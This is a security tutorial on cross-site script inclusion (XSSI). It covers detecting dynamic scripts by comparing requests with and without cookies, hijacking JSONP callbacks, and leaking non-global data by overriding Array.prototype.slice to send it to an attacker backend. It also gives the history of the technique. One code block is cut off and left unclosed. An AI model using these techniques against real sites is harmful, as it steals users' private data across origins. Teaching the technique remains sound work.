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XSSI designates a kind of vulnerability which exploits the fact that, when a **resource is included using the `script` tag, the SOP doesn’t apply**, because scripts have to be able to be included cross-domain. An attacker can thus **read everything** that was included using the **`script` tag**.
This is especially interesting when it comes to dynamic JavaScript or JSONP when so-called ambient-authority information like cookies are used for authentication. The cookies are included when requesting a resource from a different host.
The private information is located inside a global accessible JS file, you can just detect this by reading files, searching keywords or using regexps.\
**Confidential information is added to the script when a user requests it**. This can be easily discovered by sending the request **with and without the cookies**, if **different information** is retrieved, then confidential information could be contained. To do this automatically you can use burp extension: [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS).
If the confidential data is sent inside a JSONP response, you can override the executed function to retrieve the information:
```markup
<script>
//The confidential info will be inside the callback to angular.callbacks._7: angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
If a variable does not reside inside the global namespace, sometimes this can be exploited anyway using _prototype tampering_. Prototype tampering abuses the design of JavaScript, namely that when interpreting code, JavaScript traverses the prototype chain to find the called property. The following example is extracted from the paper [The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf) and demonstrates how overriding a relevant function of type `Array` and access to `this`, a non-global variable can be leaked as well.
```javascript
(function(){
var arr = ["secret1", "secret2", "secret3"];
// intents to slice out first entry
var x = arr.slice(1);
...
})();
```
In the original code `slice` from type `Array` accesses the data we’re interested in. An attacker can, as described in the preceding clause, override `slice` and steal the secrets.
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Security Researcher [Sebastian Lekies](https://twitter.com/slekies) just recently updated his list of [vectors](http://sebastian-lekies.de/leak/).
Takeshi Terada describes another kind of XSSI in his paper [Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf). He was able to leak Non-Script files cross-origin by including, among others, CSV files as source in the `script` tag, using the data as variable and function names.
The first publicly documented XSSI attack was in 2006. Jeremiah Grossman’s blog entry [Advanced Web Attack Techniques using GMail](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html) depicts a XSSI, which by overriding the `Array` constructor was able to read the complete address book of a google account.
In 2007 Joe Walker published [JSON is not as safe as people think it is](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/). He uses the same idea to steal JSON that is inside an `Array`.
Other related attacks were conducted by injecting UTF-7 encoded content into the JSON to escape the JSON format. It is described by Gareth Heyes, author of [Hackvertor](https://hackvertor.co.uk/public), in the blog entry [JSON Hijacking](http://www.thespanner.co.uk/2011/05/30/json-hijacking/) released in 2011. In a quick test, this was still possible in Microsoft Internet Explorer and Edge, but not in Mozilla Firefox or Google Chrome.
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